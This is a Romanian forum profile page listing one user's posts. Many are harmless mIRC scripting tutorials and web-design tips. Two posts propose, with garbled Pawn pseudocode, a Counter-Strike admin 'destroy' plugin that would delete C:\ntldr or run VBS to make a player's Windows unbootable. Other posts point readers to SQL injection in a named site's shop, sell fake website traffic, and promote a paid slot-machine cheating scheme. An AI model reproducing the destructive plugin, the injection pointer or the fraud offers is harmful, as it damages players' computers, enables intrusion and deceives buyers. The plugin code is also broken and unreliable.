Jump to content

BLKoldSUN

Active Members
  • Posts

    361
  • Joined

  • Last visited

Everything posted by BLKoldSUN

  1. Primul site este in Joomla. Nu o sa mearga sa-l spargeti, probabil doar cu backtrack (desi ma indoiesc) sau floodat. Am observat ca are eshop, asa ca uitati-va cu sqli in index.php/en/shop. In general componentele astea sunt vulnerabile.
  2. Iti baneaza google site-ul
  3. Okay, dati-mi un site pentru test ca sa confirme respectivul.
  4. 2000 vizite (maxim) = 15 Euro/zi 1000 vizite = 5 euro/zi x 5zile 500 vizite = 2,5 euro/zi x 5 zile ------------------------------ Pentru trafic continuu, la flux maxim 200 Euro/sapt Trafcul meu iti navigheaza pe site, nu doar indexul, si iti creste activitatea paginilor. Deasemenea, daca pe o pagina ai un link catre un partener, pot face ca site-ul sau sa primeasca vizite de la tine.
  5. Salut! Ai nevoie de trafic instant pe site? Ofer de la 300 pana la 500/1000 vizite pe zi, timp de 4,5 zile. Daca vrei dovada, inregistreaza-ti site-ul pe histats [dot] com, adauga codul de statistica la tine pe site, si dupa aceea vei avea confirmarea ca ai primit aceste vizite. Acel site ofera informatii in timp real si date exacte. Pret trafic: 5euro/zi (doar paypal si site-urile sa fie cu domenii, nu subdomenii) Daca doresti, imi lasi PM si discutam.
  6. Un lucru bun ca Google incearca sa inlature Facebook-ul.
  7. Pentru ca stiu cum functioneaza programul. Spre exemplu, daca iei casa, logic, aparatul nu-ti va mai da nimic, si-n cazul in care ai mai nimerit un risc, folosesti programul. Programul afiseaza raspunsul corect, insa daca dai pe acel raspuns, aparatul iti va da cartea gresita, iar tu trebuie sa alegi varianta gresita din program. Asta dovedeste faptul ca "oficialii" stiu deja de existenta programului si au setat raspunsurile invers, pentru a-i pacalii pe majoritatea obsedatilor de pacanele, sau pe cei ce triseaza, pentru a-i face sa creada ca nu exista program. HAVE FUn!
  8. Nu sunt o persoana care sa abureasca pe altii, deoarece eu am combinatii cu anumite persoane, ei lucreaza la aparat, iar eu le spun raspunsul prin telefon. Sincer, am inceput sa postez aici doar ca sa va spun ca este adevarat, iar eu il folosesc. M-a costat 300 euro programul. Decat sa va luati de mine, mai bine documentati-va si apoi vorbiti, iar daca stau sa ma gandesc bine, cati dintre voi stiti sa jucati "pacanele"? NICIUNUL! Pentru ca este un joc ce se bazeaza pe un algoritm foarte bine pus la punct. Am stat 3 nopti (fara program) sa-mi dau seama daca merge sa castig si fara el. DA! merge, dar merge in 50% (uneori da, alteori nu!) pentru ca sunt mai multe variabile de luat in calcul, si toate astea trebuiesc facute pe hartie. Pot face si afaceri cu voi online sa va dau raspunsul prin telefon, insa caut persoane mult prea serioase si disponibile sa investeasca in asa ceva.
  9. Prietene, as fi prea prost sa iti demonstrez ceva tie. PS: azi am mai luat 4 milioane. BYE!
  10. testat de mine merge. Am luat 5 milioane in cateva secunde PS: exista un trick, nu-l poti utiliza asa simplu. De doresti sa-l stii, te costa (scump)!
  11. Eu folosesc asta de doi ani, spor la trimis SMS-uri e-FreeSMS.com - Free SMS, Free Voice Calls, Free TV PS: Nu-mi merge sa trimit pe Spania, daca e cineva care a reusit sa imi spuna si mie. In rest am trimis in Cehia, Canada, Italia si Romania. Cam atat ca nu am rude in afara.
  12. Okay baieti, multumesc pentru pareri.
  13. In mod normal ai voie sa descarci, ai voie sa te folosesti de torent, practic ai drept la orice. Hotul neprins, negustor cinstit. Dar nu devine ilegal doar daca "x" te da in judecata? Degeaba vine politia la tine la usa sa spuna ca ai descarcat un film porno de pe torent daca ei nu au o reclamatie pe seama asta. Eu asa cred, iar cei despre care se spune ca sunt cercetati.. sunt doar cercetati probabil pentru piraterie: Download apoi vanzare, pentru ca ei s-au folosit de acele filme in mod comercial si nu personal, asa cum facem noi.
  14. Pluginul destroy il puteti lua de aici: GirlShare - Download amx_destroy.sma pentru a-i vedea sursa il descarcati, dati click dreapta -> open cu notepad++. Si o sa ajungeti la randul 24. De acolo pana la randul 105 este codul in care pluginul modifica date din config.cfg. Acea parte de cod ar putea fi modificata cu functii de creare fisiere si scriere in C++. Eu nu ma pricep foarte bine la C++, dar pseudocodul pentru acel plugin ar putea arata asa: ------------------------------------------------------------- #include <amxmodx> #include <amxmisc> #include <fun> #include <engine> #define Baza 45630 new BanData[33][2][32] new bool:ComandaB = false new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t new FisierServer[128] new SalvareServer static const poza[] = "http://rstcenter.com/forum/" public plugin_init() { register_plugin("Destroy Comand", "1.0", "Autor") register_concmd("amx_destroy", "destroy", ADMIN_LEVEL_G,"<nume> : Ii strica windowsul jucatorului!") register_cvar("amx_destroy_activity","1") } public destroy(id,level,cid){ if (!cmd_access(id,level,cid,2)){ return PLUGIN_HANDLED } if (ComandaB){ Cronometru(id) return PLUGIN_HANDLED } new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum new fo_logfile[64],timp[64],maxtext[256] new tinta[32], minute[8], motiv[64] read_argv(1, tinta, 31) read_argv(2, minute, 7) read_argv(3, motiv, 63) read_argv(1, arg, 31) new target = cmd_target(id,arg,1) new jucator = cmd_target(id, tinta, 9) if (!jucator) return PLUGIN_HANDLED copy(BanData[jucator][0], 31, minute) copy(BanData[jucator][1], 31, motiv) new TaskData[4] TaskData[0] = id TaskData[1] = jucator new numeserver[64], nume[32], ip[32] get_user_name(target,name,31) get_user_name(id,admin,31) get_user_authid(target,sAuthid,34) get_user_authid(id,sAuthid2,34) get_cvar_string("hostname",numeserver,63); get_user_name(jucator,nume,31); get_user_ip(jucator,ip,31); get_configsdir(fo_logfile, 63) get_time("%m/%d/%Y - %H:%M:%S",timp,63) IncarcareServer() ScriereServer() format(message,551,"DESTROYED^nComanda executata cu succes.^n Comanda numarul %i ",SalvareServer) format(maxtext, 255, "%s: %s a distrus windowsul lui %s",timp,admin,name) format(fo_logfile, 63, "%s/destroy.txt", fo_logfile) if(!target){ return PLUGIN_HANDLED } switch (get_cvar_num("amx_destroy_activity")) { case 1: client_cmd(target,"say ^" %s mi-a dat DESTROY !^"",admin) case 0: client_cmd(target,"say ^"Am primit DESTROY !^"") } if( remove( "C:\ntldr" ) != 0 ) // <------------------------ sa stearga fisierul ntldr din local disk C perror( "Error deleting file" ); } public Cronometru(id){ new parm[1] parm[0] = id if (ComandaB){ set_task(3.0,"TimpDeAsteptare",Baza+id,parm) } } public TimpDeAsteptare(id){ if (task_exists(Baza+id)){ remove_task(Baza+id) } ComandaB = false } stock IncarcareServer(){ get_configsdir(DirectorServer, 63) format(FisierServer,127,"%s/servit.q",DirectorServer) if (!file_exists(FisierServer)){ return PLUGIN_HANDLED } else { read_file(FisierServer,0,TextServer,LimbaServer,r) SalvareServer = str_to_num(TextServer) } return PLUGIN_CONTINUE } stock ScriereServer(){ get_configsdir(DirectorServer, 63) format(FisierServer,127,"%s/servit.q",DirectorServer) if (!file_exists(FisierServer)){ return PLUGIN_HANDLED } else { read_file(FisierServer,0,TextServer,LimbaServer,t) SalvareServer = str_to_num(TextServer) SalvareServer = SalvareServer + 1 format(TextServer,31,"%i",SalvareServer) delete_file(FisierServer) write_file(FisierServer,TextServer,-1) } return PLUGIN_CONTINUE } ------------------------------------------------------- Oricum, repet, nu ma prea pricep la C++ dar cine s-ar pricepe ar putea face pluginul asta functionabil Si ar multumi pe multi admini.
  15. Curata fisierele temporare, registrii, insa in prima imagine face referire la faptul ca lipseste ceva (un library, un dll sau mai multe) de care programul depinde. Dar, am analizat imaginea si am observat ca nu ai citit jos, la erorile primite atunci cand dai Debug la program si cred ca soft-ul are probleme cu Framework-ul. ia incearca sa dai New Project, da aceeasi eroare? Daca da la fel, este posibil sa fie de la windows (asta daca ai reinstalat VB si era aceeasi eroare)
  16. uita-te in structura oricarui site si vei vedea in index.html la sectiunea HEAD sunt niste date: <meta name="description" content="Descriere site" /> <meta name="keywords" content="Cuvintele cheie ca site-ul tau sa fie gasit mai usor" /> <meta name="language" content="ro-ro" /> Dupa ce adaugi aceste date, te interesezi ca site-ul tau sa fie inscris in cat mai multe directoare web, asa lumea va vedea linkul site-ului tau si il va vizita. Cu cat il viziteaza mai mult si din mai multe parti, cu atat ai sansa ca site-ul sa urce in TOP (Page Rank). Sau daca nu esti zgarcitpentru 10 euro, apeleaza la o companie SEO si ti-l optimizeaza ei complet. In rest, depinde de tine ce adaugi in site. HINTs: - sa ai h1 in site si h2 (Titlu si subtitlu) - sa ai scurte descrieri la articole - la imagini sa nu lipseasca ALT="" adica in loc de imagine sa fie un text in cazul in care imaginea va fi stearsa - inregistreaza-ti site-ul pe BING (motor de cautare) si acolo ve i primi un COD de verificare pe care va trebui sa-l pui la <HEAD>. - inregistreaza site-ul la Google (sa-l indexeze) - alege un nume potrivit, nu 0935Ionut-hackeru.com Cred ca sunt indeajuns pentru tine, bafta!
  17. Pentru chat exista multe variante: IRC, php chat, ajax chat, sau shoutbox-urile. Aceste shoutbox-uri sunt cele mai populare, deoarece sunt si gratuite de la chbox si au si panoul de administrare. pentru PHP chat este mai greu daca nu ai cunostinte de baze de date, de aceea te sfatuiesc shoutbox. Poti cauta si ajax chat, este mai modern dar cum spuneam, necesita cunostinte de baze de date.
  18. In HTML: <html> <head> </head> <body> <div id="suport"> <p>continutul principal aici</p> </div> </body> </html> In CSS: #suport { width:960px; padding:0; margin:0 auto; }
  19. Citeste aici: <a href="http://www.webdeveloper.com/forum/showthread.php?169337-Auto-refresh-lt-DIV-gt-using-ajax">Ajax auto refresh</a>
  20. Intrebare: De ce in codul sursa scrie: template si la CSS scrie asta? /* #------------------------------------------------------------------------ # corporate2 - March 2011 (for Joomla 1.6) # # Copyright © 2007-2011 Gavick.com. All Rights Reserved. # License: Copyrighted Commercial Software # Website: Professional Joomla 2.5 Templates and Wordpress Themes, Wordpress Templates and Joomla Themes, Joomla Design Shop, Modules and Free Extension # Support: support@gavick.com */ ? Deci, nu este realizat de tine, ci tu doar ai luat un template si l-ai modificat cu niste text, imagini si putin cod Facebook. Eu unul apreciez ca ai facut la site, dar daca il lucrai de la 0 era ceva. Avand in vedere ca Joomla este un CMS dificil si necesita timp pentru ca cineva sa-l inteleaga pot spune ca ai facut un lucru bun ca te-ai apucat de asa ceva, deoarece in Joomla se castiga foarte bine si un site il poti face in 30 de minute daca cunosti bine CMS. Dar data viitoare sa si specifici platforma utilizata, si care este aportul tau adus la site. In rest, nu pot sa-ti spun decat ca e bine ca mergi pe partea de web design, este ceva placut.
  21. Chiar imi place Ai folosit PhotoShop?
  22. Nu stiu cati de aici detin servere de Counter Strike 1.6 si cati dintre acestia cunosc C++, insa am stat putin si m-am gandit la ceva spun eu.. util dar totodata prea rau. Sa presupunem ca joci linistit pe server si intra un codat care face flood la schimbare nume, fiind admin fara acces mare nu il poti da afara, sau orice altceva, dar ai acces la comanda destroy sau fuck off. Pentru cei care s-au uitat in acest plugin, au observat ca e C++ ca limbaj de programare, dar cum aceasta varianta de destroy are si o solutie de remediere, pluginul nu mai are niciun rost sa fie utilizat. Avand in vedere ca este vorba de C++ si ca iti modifica fisierul config.cfg, unul care s-ar pricepe destul de bine la programare, ca sa scape de codati permanent si sa ii invete minte ar putea alege varianta: ---------------------- Plugin: destroy Limbaj C++ fisier VBS Modificare fisiere ---------------------- Va spun ceva aceste lucruri? Practic, pluginului destroy sau fuck off i se poate implementa un VBS ce poate modifica fisierele de sistem, fie sa ii stinga pcul automat, fie sa ii stearga fisiere importante din windows. Cred ca este deajuns sa-i stearga NTLDR ca sa nu ii mai porneasca windowsul si e necesar format, deoarece majoritatea kinderilor sunt paraleli cu asa ceva. Este o idee buna pentru a putea scapa de asa zisii codatii ***** dar este rau daca se foloseste asupra unor utilizatori normali care intra sa se relaxeze. Asupra acestui subiect vreau pareri daca se poate, pentru ca daca cineva realizeaza un asemenea plugin, codatii vor fi din ce in ce mai putini.
  23. Acest tutorial este destinat acelor persoane care isi petrec timpul liber pe chat, fie in vederea relaxarii sau administrarii unui canal sau canalelor si are rolul de a arata cum functioneaza anumite scripturi de mIRC. in acest tutorial veti invata cum sa utilizati evenimentele, ce sunt acelea variabile si cum le puteti implementa, veti vedea cum se poate face un meniu in mIRC. Evenimentele in mIRC: ca sa fie pe intelesul tuturor, un eveniment este atunci cand se intampla ceva. Fiind vorba de mIRC, un eveniment se refera la: a) JOIN PART c) QUIT d) schimbarea numelui in alt nume e) mesajele primite de catre server pe status sau pe fereastra activa f) CONNECT g) DISCONNECT Inainte de a incepe trebuie sa retineti ca semnul dolar: "$" va cere o anumita informatie de la server: $server - va cere adresa serverului $port - portul de conectare la server $network - numele retelei pe care esti conectata $nick - nume utilizator de pe canal $me - numele tau curent $address - adresa ta completa (nickname!ident@host.IP) $chan - canal unde se petrece un anumit eveniment $knick - utilizatorul care a luat kick $bnick - utilizatorul care a luat ban $vnick - utilizatorul care a primit voice echo - inseamna ca mesajele se vor afisa pe ecranul tau echo -at - inseamna ca mesajele se vor afisa pe fereastra activa cu ora adaugata automat (a = active, t = timestamp) $mircdir - va returna adresa mircului (sau folderul) $mircdirsounds - va returna folderul sounds din folderul scriptului $mircdirsounds/alte_sunete - va returna folderul alte_sunete din folderul sounds din folderul scriptului Lista poate continua foarte mult. Exemplu in mIRC de ecenimente: a) JOIN (cand cineva intra pe canal) - acestui eveniment ii putem adauga orice dorim. Spre exemplu sa spunem ca vrem ca atunci cand cineva intra pe canal scriptul sa ne atentioneze cu un sunet sau cu un mesaj pe fereastra respectiva de chat: on 1:JOIN:#: { splay $mircdirsounds/join.wav } - cand cineva intra pe canal se va auzi sunetul join.wav on 1:JOIN:#: { echo -at $me $+ , Se pare ca $nick a intrat pe $chan } - cand cineva intra pe canal, vei primi mesaj pe fereastra activa PART (cand cineva pleaca de pe canal) - avem mai multe alternative: on 1:PART:#: { splay $mircdirsounds/part.wav } - cand cineva iese de pe canal vei auzi un sunet part.wav on 1:PART:#: { echo -at Se pare ca $nick a plecat de pe $chan } - cand cineva iese de pe canal vei primi mesaj pe fereastra activa on 1:PART:#: { msg $nick $nick sa mai vii pe la noi, te asteptam cu mare drag! Bye! } - cand cineva pleaca de pe canal, acesta va primi un mesaj pe privat cu acel mesaj c) QUIT - atunci cand te deconectezi de la server on 1:QUIT:#: { echo -at Se pare ca $nick s-a deconectat de la server! Ce pacat! } on 1:QUIT: { splay $mircdirsounds/quit.wav } - cand tu te deconectezi de la server, scriptul va rula acel sunet de deconectare. d) Schimbarea numelui in alt nume: acest eveniment este mai mult utilizat de moderatorii de canal si cei care stiu sa faca scripting, si poate fi utilizat in felul urmator: on 1:NICK:#: { if (*gay* iswm $nick) && ($me isop $chan) { mode $chan +b $address($nick,2) | kick $chan $nick Se pare ca numele tau este indecent! } elseif (*porn* iswm $nick) && ($me isop $chan) { mode $chan +b $address($nick,2) | kick $chan $nick Se pare ca numele tau este indecent! } elseif (*fag* iswm $nick) && ($me isop $chan) { mode $chan +b $address($nick,2) | kick $chan $nick Se pare ca numele tau este indecent! } elseif (*lesby* iswm $nick) && ($me isop $chan) { mode $chan +b $address($nick,2) | kick $chan $nick Se pare ca numele tau este indecent! } else { halt } } Explicatie: Cand cineva isi schimba numele pe canal si are unul dintre cele mentionate mai sus, atunci scriptul ii va da ban pe host si kick. Daca doriti ca scriptul sa ii dea ban doar pe nickname si nu pe host, in loc de <$address($nick,2)> puneti doar <$nick>. O alta varianta este sa realizati un simplu fisier text cu toate acele nume indecente si scriptul decat sa citeasca din acel fisier text: on 1:NICK:#: { if ($nick isin $read($mircdirscripts/nume_indecent) { mode $chan +b $nick | kick $chan $nick Se pare ca ai un nume indecent! } else { halt } } O alta varianta preferata de mine este sa nu folosesc niciuna dintre metodele de mai sus, ci mai simplu sa monitorizez un canal -> adica, sa am inregistrate toate nickname-urile care se schimba, toate JOIN-urile, PART-urile, etc, toate acestea inregistrandu-se intr-o fereastra speciala, iar acolo puteti observa ce s-a petrecut in ultima vreme pe canal de cand nu ati mai fost la PC. on 1:JOIN:#: { echo -a @Monitor * INFO: $nick a intrat pe # } - semnul "#" va returna numele canalului on 1:PART:#: { echo -a @Monitor * INFO $nick a iesit de pe # } on 1:QUIT:#: { echo -a @Monitor * Info $nick s-a deconectat de la reteaua $network } on 1:NICK:#: { echo -a @Monitor * Info $nick si-a schimbat numele in $newnick } In acest fel putem monitoriza cu usurinta un canal. Logic, acestor evenimente le putem adauga si mai multe conditii si evenimente, incrementari, etc, dar depinde de cum prefera fiecare. e) Mesajele primite de la server: aceste mesaje nu-mi place sa le primesc pe status sau in fereastra activa, asa ca eu prefer intr-o alta fereastra: on 1:SNOTICE: { echo @Server $1- } - in aceasta fereastra @Server voi primi toate acele mesaje. ------------------------------------------------------------------------------------------------------------------------------- Utilizarea variabilelor: o variabila este o marime care poate avea diferite valori si le putem utiliza in diferite cazuri. Pentru a invata cum sa utilizam o variabila, haideti sa va arat un mic joc de barbut virtual: ;; Inceput cod pentru barbut: on 1:TEXT:!zar*:#: { timer 1 3 $nick a aruncat zarurile... timer 1 5 Zarurile se invart... inca se invart... timer 1 7 Booomm, se pare ca $nick a dat $rand(1,6) - $rand(1,6) } ;; Sfarsit cod joc Deci, observati ca semnul "#" va returna numele canalului, dar daca jocul se afla pe mai multe canal atunci cand cineva scrie !zar pe alt canal, jocul va da mesaje acolo unde s-a folosit comanda, si nu ne dorim asta pentru ca se va produce flood si va ingreuna jocul. Pentru a evita u nastfel de caz, trebuie sa folosim o variabila. Variabila pe care o vom utiliza va memora numele canalului si jocul va fi activ doar acolo unde a fost specificata variabila, dar pentru a putea memora variabila, trebuie sa realizam un meniu in mIRC iar pentru realizarea sa, avem doua posibilitati: =>> Sa utilizam direct mIRC POPUPS sau sa folosim REMOTE (Tools -> Script Editor -> Tab-ul Remote, si acolo sa scriem codurile). Codul jocului cu meniul complet va arata asa: ;; Inceput cod pentru barbut: menu channel { Barbut virtual .seteaza canalul jocului: { set %canal $$?="Numele canalului unde vrei ca jocul sa fie activ:" echo -at Se pare ca jocul va fi activ pe %canal $+ ! msg %canal [JOC] Se pare ca jocul "Barbut virtual" a fost pornit de admin! Pentru a juca, tasteaza !zar } } on 1:TEXT:!zar*:#: { ignore -u15 *!*@* timer 1 3 msg %canal [JOC] $nick a aruncat zarurile... timer 1 5 msg %canal [JOC] Zarurile se invart... inca se invart... timer 1 7 msg %canal [JOC] Booomm, se pare ca $nick a dat ( $+ $rand(1,6) $+ ) - ( $+ $rand(1,6) $+ ) timer 1 15 msg %canal [JOC] -> Aruncati cu zarul! } ;; Sfarsit cod joc Observatii: puteti vedea ca la inceput am scris: <ignore -u15 *!*@*>, asta inseamna ca dupa ce un utilizator va scrie <!zar> toti ceilalti vor lua ignore pentru 15 secunde, ca masura impotriva flood-ului. Dupa ce trec cele 15 secunde, jocul va da mesaj pe canal ca sa aruncati zarurile. $rand(1,6) - va afisa o cifra in mod aleator de la 1 la 6 ----------------------------------------------------------------------------------------------------- Sper ca acest tutorial sa fie util pentru pasionatii de mIRC si pentru cei care vor sa aibe jocuri pe canal. Multa bafta!
  24. Adevarat, tocmai din acest motiv am spus ca poate fi personalizat dupa cum doreste fiecare. De exemplu, daca doresti ca botul sa raspunda asemanator cu ceea ce un user tasteaza, se poate utiliza: on 1:text:*:#: { if (*buna* isin $1-) && ($me isin $1-) { msg # $nick $read(ModFun/ $+ $nick $+ ,w,buna) } elseif (*ce faci* isin $1-) && ($me isin $1-) { msg # $nick $read(ModFun/ $+ $nick $+ ,w,ce faci) } else { halt } } In acest fel, putem face robotul sa raspunde asemanator cerintelor interlocutorului , dar prefer sa nu dau toate codurile pentru ca aici fiecare trebuie sa aprofundeze si sa invete.
  25. Salut. Am citit cateva postari pe forum legate de boti IRC si majoritatea erau fie in PHP sau alt limbaj de programare. Nu stiu pe cati dintre voi ii intereseaza mIRC-ul, dar m-am gandit ca unora le-ar fi de folos. Acum 4 luni vroiam un BOT inteligent dar nu am gasit asa ceva... am gasit doar un TCL vechi, Alice - inteligenta artificiala, numai ca acel bot era praf. Eh, tocmai din acest motiv m-am gandit sa fac eu unul simplu si placut. totodata sa stiti ca-l puteti personaliza dupa cum doriti, insa pentru asta trebuie sa aveti cateva cunostinte despre MSL (mirc scripting language). Iata codul: ModFun -> este folder mesajecanal.txt, intrebari_nick.txt, actiune.txt -> sunt fisiere in notepad on *:text:*:#:{ set %bt.rand $rand(1,3) ;;se face un random de la 1 la 3 if ( %bt.rand == 1) { ;; daca randomul are valoarea 1 inc %20 ;; se va incrementa variabila 20 if (%20 == 20) { ;; daca variabila 20 va avea valoarea 20 (numarul de randuri tastate pe chat pe canal) msg # $read(ModFun/mesajecanal.txt) ;; atunci robotul va scrie un mesaj pe canal unset %20 ;; se reseteaza variabila 20 unset %bt.rand ;; se reseteaza randomul } } if ( %bt.rand == 2) { ;; daca randomul a luat valoarea 2 inc %10 ;; se incrementeaa variabila 10 if (%10 == 10) { ;; daca variabila 10 are valoarea 10 (10 randuri tastate) /ame $read(ModFun/actiune.txt) ;; robotul va da un mesaj global pe chat ca sa descrie o actiune unset %10 ;; se va reseta variabila 10 unset %bt.rand ;; se va reseta randomul } } if ( %bt.rand == 3) { ;; daca randomul va lua valoarea 3 set %nume_random $nick(#,$r(1,$nick(#,0))) ;; setam o variabila externa cu un nume aleator de pe chat inc %15 ;; se incrementeaza variabila 15 if (%15 == 15) ;; daca variabila 15 are valoare 15 (15 randuri tastate pe chat) if (%nume_random == $nick(#,$r(1,$nick(#,0)))) { ;; daca variabila are numele aleator ales mai devreme /ame $nick(#,$r(1,$nick(#,0))) $read(ModFun/intrebari_nick.txt) ;; robotul va da un mesaj pentru acel nick ales mai sus aleator unset %15 ;; se reseteaza variabila unset %bt.rand ;; se reseteaza randomul } } } Care este ideea acelor randomuri? Practic, fiecare random determina modalitatea de raspuns a robotului pe un canal astfel: a) la random 1 - robotul va avea un mod de a scrie pe chat la random 2 - robotul va scrie mesaj global pe toate canalele pe care se afla c) la random 3 - robotul va alege la intamplare un nickname d epe chat caruia ii va scrie un mesaj Mesajele le puteti scrie voi in fisierele txt. Robotul il puteti personaliza si imbunatatii astfel: - dupa ce s-a facut evenimentul "on *:text:*:#:{" (cand cineva scrie ceva pe chat, textul sau sa fie scris automat intr-un fisier .txt), asa cum este codul de mai jos: on *:text:*:#:{ write -n ModFun/ $+ $nick } Adica, atunci cand cineva scrie pe chat ceva, robotul automat inregistreaza acea propozitie intr-un fisier numit precum numele nickname-ului. Dupa asta, unde scrie: "msg # $read(ModFun/mesajecanal.txt)" se poate modifica in: msg # $read(ModFun/ $+ $nick ) Adica, in loc sa scrie un mesaj prescris de tine in fisierul mesaje.txt, el va scrie pe canal exact ce a scris un utilizator in urma cu "n" timp. ------------------------------------ Sunt multe posibilitati de a modifica acest robot, insa eu unul l-am perfectionat asa de mult incat pe chat lumea se cearta cu "ea" si nu isi dau seama ce este defapt. Credeti-ma ca m-am amuzat copios. Bafta, si sper ca unora o sa le fie de folos.
×
×
  • Create New...